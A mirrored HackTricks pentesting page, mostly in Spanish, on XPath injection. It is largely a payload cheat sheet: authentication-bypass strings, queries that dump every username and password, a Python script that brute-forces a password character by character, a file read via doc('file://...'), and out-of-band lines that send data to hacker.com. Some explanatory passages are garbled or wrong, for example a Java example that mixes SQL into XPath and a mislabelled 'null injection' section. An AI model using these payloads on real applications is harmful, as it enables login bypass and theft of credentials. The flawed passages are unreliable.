Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xpath-injection.md

479 lines
31 KiB
Markdown
Raw Blame History

# Inyección de XPATH
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
## **Sintaxis básica**
La inyección de XPATH es una técnica de ataque utilizada para explotar aplicaciones que construyen consultas XPath (XML Path Language) a partir de la entrada proporcionada por el usuario para consultar o navegar por documentos XML.
Información sobre cómo hacer consultas: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
### Nodos
| Expresión | Descripción |
| ---------- | ----------------------------------------------------------------------------------------------------- |
| nodename | Selecciona todos los nodos con el nombre "nodename" |
| / | Selecciona desde el nodo raíz |
| // | Selecciona nodos en el documento desde el nodo actual que coinciden con la selección sin importar dónde se encuentren |
| . | Selecciona el nodo actual |
| .. | Selecciona el padre del nodo actual |
| @ | Selecciona atributos |
### **Ejemplos:**
| Expresión de ruta | Resultado |
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| bookstore | Selecciona todos los nodos con el nombre "bookstore" |
| /bookstore | Selecciona el elemento raíz bookstore**Nota:** Si la ruta comienza con una barra diagonal (/), siempre representa una ruta absoluta a un elemento! |
| bookstore/book | Selecciona todos los elementos book que son hijos de bookstore |
| //book | Selecciona todos los elementos book sin importar dónde se encuentren en el documento |
| bookstore//book | Selecciona todos los elementos book que son descendientes del elemento bookstore, sin importar dónde se encuentren bajo el elemento bookstore |
| //@lang | Selecciona todos los atributos que se llaman lang |
### Predicados
| Expresión de ruta | Resultado |
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bookstore/book\[1] | <p>Selecciona el primer elemento book que es hijo del elemento bookstore.<strong>Nota:</strong> En IE 5,6,7,8,9 el primer nodo es[0], pero según W3C, es [1]. Para solucionar este problema en IE, establece SelectionLanguage en XPath:</p><p>En JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
| /bookstore/book\[last()] | Selecciona el último elemento book que es hijo del elemento bookstore |
| /bookstore/book\[last()-1] | Selecciona el penúltimo elemento book que es hijo del elemento bookstore |
| /bookstore/book\[position()<3] | Selecciona los dos primeros elementos book que son hijos del elemento bookstore |
| //title\[@lang] | Selecciona todos los elementos title que tienen un atributo llamado lang |
| //title\[@lang='en'] | Selecciona todos los elementos title que tienen un atributo "lang" con un valor de "en" |
| /bookstore/book\[price>35.00] | Selecciona todos los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
| /bookstore/book\[price>35.00]/title | Selecciona todos los elementos title de los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
### Nodos desconocidos
| Comodín | Descripción |
| -------- | ---------------------------- |
| \* | Coincide con cualquier nodo de elemento |
| @\* | Coincide con cualquier nodo de atributo |
| node() | Coincide con cualquier nodo de cualquier tipo |
### **Ejemplos:**
| Expresión de ruta | Resultado |
| ----------------- | ------------------------------------------------------------------------- |
| /libreria/\* | Selecciona todos los nodos de elementos secundarios del elemento libreria |
| //\* | Selecciona todos los elementos en el documento |
| //titulo\[@\*] | Selecciona todos los elementos de título que tienen al menos un atributo de cualquier tipo |
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
## Ejemplo
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Acceder a la información
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the XPath query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other input field that is used to retrieve data from an XML source.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original XPath query and retrieve additional information that is not intended to be accessed.
For example, consider a search form that uses XPath to query an XML database of user profiles. The XPath query may look like this:
```
//users/user[name='John']
```
By injecting a malicious XPath expression, an attacker can modify the query to retrieve all user profiles instead of just John's profile:
```
//users/user
```
This allows the attacker to access sensitive information such as usernames, passwords, and other personal data stored in the XML database.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the user input from the query itself, making it harder for an attacker to manipulate the XPath expression.
By understanding and implementing proper security measures, web applications can protect against XPath Injection attacks and ensure the confidentiality of sensitive information.
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identificar y robar el esquema
XPath Injection es una técnica de hacking que se utiliza para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar bases de datos XML. Al inyectar código malicioso en los parámetros de consulta XPath, un atacante puede obtener información confidencial, como el esquema de la base de datos.
Para identificar y robar el esquema de la base de datos, el atacante puede seguir los siguientes pasos:
1. Identificar la vulnerabilidad: El primer paso es identificar una aplicación web que sea vulnerable a la inyección de XPath. Esto se puede hacer mediante pruebas de penetración o utilizando herramientas de escaneo automatizadas.
2. Analizar los parámetros de consulta XPath: Una vez que se ha identificado una vulnerabilidad, el atacante debe analizar los parámetros de consulta XPath para determinar cómo se construyen y cómo se procesan en la aplicación. Esto puede implicar el análisis del código fuente de la aplicación o el uso de herramientas de interceptación de tráfico para examinar las solicitudes y respuestas.
3. Inyectar código malicioso: Una vez que se comprende cómo se construyen los parámetros de consulta XPath, el atacante puede inyectar código malicioso para extraer información del esquema de la base de datos. Esto se puede lograr mediante la manipulación de los valores de los parámetros de consulta XPath para obtener resultados no deseados.
4. Extraer el esquema de la base de datos: Una vez que se ha inyectado el código malicioso, el atacante puede extraer el esquema de la base de datos utilizando técnicas de enumeración y extracción de datos. Esto puede implicar la ejecución de consultas XPath específicas para obtener información sobre las tablas, columnas y relaciones en la base de datos.
Es importante tener en cuenta que la inyección de XPath es una actividad ilegal y solo debe realizarse con el permiso explícito del propietario del sistema. Además, es fundamental proteger las aplicaciones web contra esta vulnerabilidad mediante la implementación de medidas de seguridad adecuadas, como la validación de entrada y la sanitización de datos.
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Bypass de Autenticación
### **Ejemplo de consultas:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **Bypass OR en usuario y contraseña (mismo valor en ambos)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Abuso de la inyección de nulos**
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.
La inyección de nulos es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan consultas XPath para recuperar datos de documentos XML. XPath es un lenguaje utilizado para navegar y consultar datos XML.
XPath queries are often used to dynamically construct XML queries based on user input. However, if the application does not properly sanitize or validate user input, an attacker can manipulate the XPath query to inject malicious code.
Las consultas XPath se utilizan a menudo para construir dinámicamente consultas XML basadas en la entrada del usuario. Sin embargo, si la aplicación no sanitiza o valida correctamente la entrada del usuario, un atacante puede manipular la consulta XPath para inyectar código malicioso.
One common way to abuse null injection is by injecting a single quote character ('), which can cause the XPath query to break and potentially reveal sensitive information.
Una forma común de abusar de la inyección de nulos es inyectar un carácter de comilla simple ('), lo que puede hacer que la consulta XPath se rompa y potencialmente revele información sensible.
For example, consider the following vulnerable XPath query:
Por ejemplo, considera la siguiente consulta XPath vulnerable:
```xpath
//users/user[name='admin' and password='admin']
```
An attacker can abuse null injection by injecting a single quote character after the `admin` value, like this:
Un atacante puede abusar de la inyección de nulos inyectando un carácter de comilla simple después del valor `admin`, de la siguiente manera:
```xpath
//users/user[name='admin' and password='' or '1'='1']
```
This modified query will cause the XPath query to always evaluate to true, bypassing any password check and potentially leaking sensitive information.
Esta consulta modificada hará que la consulta XPath siempre se evalúe como verdadera, evitando cualquier verificación de contraseña y potencialmente filtrando información sensible.
To prevent null injection attacks, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques.
Para prevenir ataques de inyección de nulos, es importante sanitizar y validar correctamente la entrada del usuario antes de utilizarla en consultas XPath. Esto se puede hacer utilizando consultas parametrizadas o técnicas de validación de entrada.
```
Username: ' or 1]%00
```
### **Doble OR en el nombre de usuario o en la contraseña** (es válido con solo 1 campo vulnerable)
IMPORTANTE: Observa que la **"y" es la primera operación realizada**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Extracción de cadenas
La salida contiene cadenas y el usuario puede manipular los valores para buscar:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Explotación a ciegas
### **Obtener la longitud de un valor y extraerlo mediante comparaciones:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Ejemplo en Python**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Leer archivo
La inyección de XPath es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar y manipular datos XML. Esta técnica permite a un atacante ejecutar consultas XPath maliciosas que pueden revelar información confidencial o incluso permitir la modificación de datos en la aplicación.
#### Cómo funciona la inyección de XPath
La inyección de XPath ocurre cuando una aplicación web no valida o filtra adecuadamente los datos de entrada antes de utilizarlos en una consulta XPath. Esto permite a un atacante manipular los datos de entrada para construir una consulta XPath maliciosa.
Un ejemplo común de inyección de XPath es cuando una aplicación web utiliza datos de entrada del usuario para construir una consulta XPath sin validar o escapar los caracteres especiales. Esto permite a un atacante manipular los datos de entrada para cerrar una cadena de consulta XPath y agregar su propia consulta maliciosa.
Por ejemplo, supongamos que una aplicación web utiliza el siguiente código para construir una consulta XPath:
```java
String query = "SELECT * FROM users WHERE username = '" + userInput + "'";
String xpathQuery = "/users/user[username/text()='" + query + "']";
```
Si la aplicación no valida o escapa adecuadamente el valor de `userInput`, un atacante podría manipularlo para cerrar la cadena de consulta XPath y agregar su propia consulta maliciosa. Por ejemplo, si el atacante ingresa `' or 1=1 or ''='`, la consulta XPath resultante sería:
```java
/users/user[username/text()='SELECT * FROM users WHERE username = '' or 1=1 or ''='']
```
Esto podría permitir al atacante recuperar todos los registros de la tabla de usuarios, incluso si no conoce un nombre de usuario válido.
#### Impacto de la inyección de XPath
La inyección de XPath puede tener un impacto significativo en la seguridad de una aplicación web. Al explotar esta vulnerabilidad, un atacante puede:
- Acceder a información confidencial, como nombres de usuario, contraseñas u otra información personal.
- Modificar datos en la aplicación, como cambiar contraseñas o realizar cambios no autorizados en la configuración.
- Ejecutar consultas XPath maliciosas que pueden afectar el rendimiento o la disponibilidad de la aplicación.
#### Cómo prevenir la inyección de XPath
Para prevenir la inyección de XPath, es importante seguir las mejores prácticas de seguridad en el desarrollo de aplicaciones web:
- Validar y filtrar adecuadamente los datos de entrada antes de utilizarlos en una consulta XPath.
- Utilizar consultas parametrizadas o consultas preparadas en lugar de construir consultas XPath dinámicamente.
- Escapar los caracteres especiales en los datos de entrada antes de utilizarlos en una consulta XPath.
- Limitar los privilegios de acceso de la aplicación a los recursos del sistema y las bases de datos.
Al seguir estas prácticas, se puede reducir significativamente el riesgo de inyección de XPath y mejorar la seguridad de las aplicaciones web.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## Explotación OOB
Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a technique used to extract data from a vulnerable web application by leveraging the application's ability to make external requests. This technique is particularly useful when the application does not directly display the extracted data, but instead sends it to an external server.
### Exploiting OOB vulnerabilities
To exploit an OOB vulnerability, an attacker injects malicious XPath queries into user-controlled input fields, such as search boxes or form inputs. These queries are designed to extract sensitive information from the application's database.
The attacker can then observe the application's behavior to determine if the injected query was successful. This can be done by monitoring the external server for incoming requests or by triggering a specific response from the application.
### Techniques for OOB exploitation
There are several techniques that can be used to exploit OOB vulnerabilities:
1. **Blind OOB exploitation**: In this technique, the attacker injects an XPath query that causes the application to make a request to an external server controlled by the attacker. The attacker can then analyze the incoming requests to extract the desired information.
2. **Time-based exploitation**: In time-based exploitation, the attacker injects an XPath query that causes the application to delay its response. By measuring the time it takes for the application to respond, the attacker can infer information about the underlying database.
3. **Error-based exploitation**: Error-based exploitation involves injecting an XPath query that intentionally triggers an error in the application. The error message returned by the application can then be analyzed to extract information about the database structure or contents.
### Mitigating OOB vulnerabilities
To mitigate OOB vulnerabilities, it is important to implement proper input validation and sanitization techniques. This includes validating user input, using parameterized queries, and implementing strict access controls.
Additionally, monitoring and logging external requests made by the application can help detect and prevent OOB exploitation attempts. Regular security assessments and penetration testing can also help identify and address any vulnerabilities in the application.
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Herramienta automática
{% embed url="https://xcat.readthedocs.io/" %}
## Referencias
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Reference in a new issue View git blame Copy permalink